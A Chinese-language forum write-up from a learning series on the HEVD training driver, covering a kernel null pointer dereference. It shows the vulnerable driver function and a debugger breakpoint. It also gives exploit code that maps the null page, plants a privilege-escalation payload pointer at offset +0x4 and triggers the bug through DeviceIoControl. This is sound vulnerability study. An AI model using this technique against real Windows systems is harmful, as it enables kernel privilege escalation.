首页
社区
课程
招聘
[原创]HEVD内核漏洞学习(5)空指针解引用
2020-11-1 22:01 5281

[原创]HEVD内核漏洞学习(5)空指针解引用

2020-11-1 22:01
5281

0x00前言

第五部分了 空指针解引用是程序中常见的一类动态内存错误 啊 还是直接开始正文吧

0x01漏洞原理

当指针设置为NULL时 试图通过空指针对数据进行访问 导致程序运行错误 即指针为空却被当作地址去引用时 就会产生漏洞

函数分析

这个函数首先ExAllocatePoolWithTag申请内存 在用完内存后 将内存置为NULL 在漏洞版本下 未检查刚才申请的内存是否为NULL 就直接引用指向内存地址

 

TriggerNullPointerDereference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
NTSTATUS
TriggerNullPointerDereference(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));
 
        //
        // Allocate Pool chunk
        //
 
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(NULL_POINTER_DEREFERENCE),
            (ULONG)POOL_TAG
        );
 
        if (!NullPointerDereference)
        {
            //
            // Unable to allocate Pool chunk
            //
 
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
 
        //
        // Get the value from user mode
        //
 
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
        //
        // Validate the magic value
        //
 
        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
            //
            // Free the allocated Pool chunk
            //
 
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
 
            //
            // Set to NULL to avoid dangling pointer
            //
 
            NullPointerDereference = NULL;
        }
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //
 
        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //
 
        NullPointerDereference->Callback();                //漏洞点
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

0x02漏洞分析

先下断点

1
bp HEVD!TriggerNullPointerDereference+143

断下后发现第二个值还没有被覆盖为shellcode的地址

单步指向后发现已被覆盖

即我们将NullPointerDereference的第二个值(+0x4)控制为shellcode的地址即可 使用NtAllocateVirtualMemory分配0页内存将第二个值(+0x4)控制为shellcode的地址

0x03漏洞利用

分配内存

在common.c中分配0页内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
BOOL MapNullPage() {
    HMODULE hNtdll;
    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host
                                           // page size address boundary -> 0x2000
 
    PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
                                           // page size address boundary -> 0x00000000
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
 
    hNtdll = GetModuleHandle("ntdll.dll");
 
    // Grab the address of NtAllocateVirtualMemory
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
 
    if (!NtAllocateVirtualMemory) {
        DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
 
    // Allocate the Virtual memory
    NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
                                       &BaseAddress,
                                       0,
                                       &RegionSize,
                                       MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
                                       PAGE_EXECUTE_READWRITE);
 
    if (NtStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);
        DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);
    }
 
    FreeLibrary(hNtdll);
 
    return TRUE;
}

调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
 
        hFile = GetDeviceHandle(FileName);
 
        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }
 
        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
 
        DEBUG_INFO("\t\t[+] Mapping Null Page\n");
 
        if (!MapNullPage()) {
            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
 
        DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");
 
        NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4); //主要关注这里将偏移为4的位置设置为shellcode的地址
 
        // Now set the function pointer
        *(PULONG)NullPointerPlus4 = (ULONG)EopPayload;
 
        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4);
        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4);
 
        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
 
        DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");
 
        OutputDebugString("****************Kernel Mode****************\n");
 
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
                        (LPVOID)&MagicValue,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
 
        OutputDebugString("****************Kernel Mode****************\n");
    }

利用成功

0x05经验总结

啊这个比上个好理解多了 空指针解引用导致的问题在这个漏洞中也很好利用 在刚开始了解的时候只知道能引发崩溃 不知道如何去利用 后面学习完了之后也就懂了利用的思路了 然后去看了看小刀师傅复现的一个内核漏洞 完全就不一样了哈哈哈

 

这里传送门


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-11-4 21:09 被Ring3编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 7
活跃值: (4331)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
0x2l 3 2020-11-1 22:55
2
0
6
雪    币: 544
活跃值: (2955)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
Ring3 1 2020-11-1 23:05
3
0
0x2l 6
你漏了一篇 淡了~
雪    币: 7
活跃值: (4331)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
0x2l 3 2020-11-1 23:10
4
0
Ring3 你漏了一篇 淡了~
确实
游客
登录 | 注册 方可回帖
返回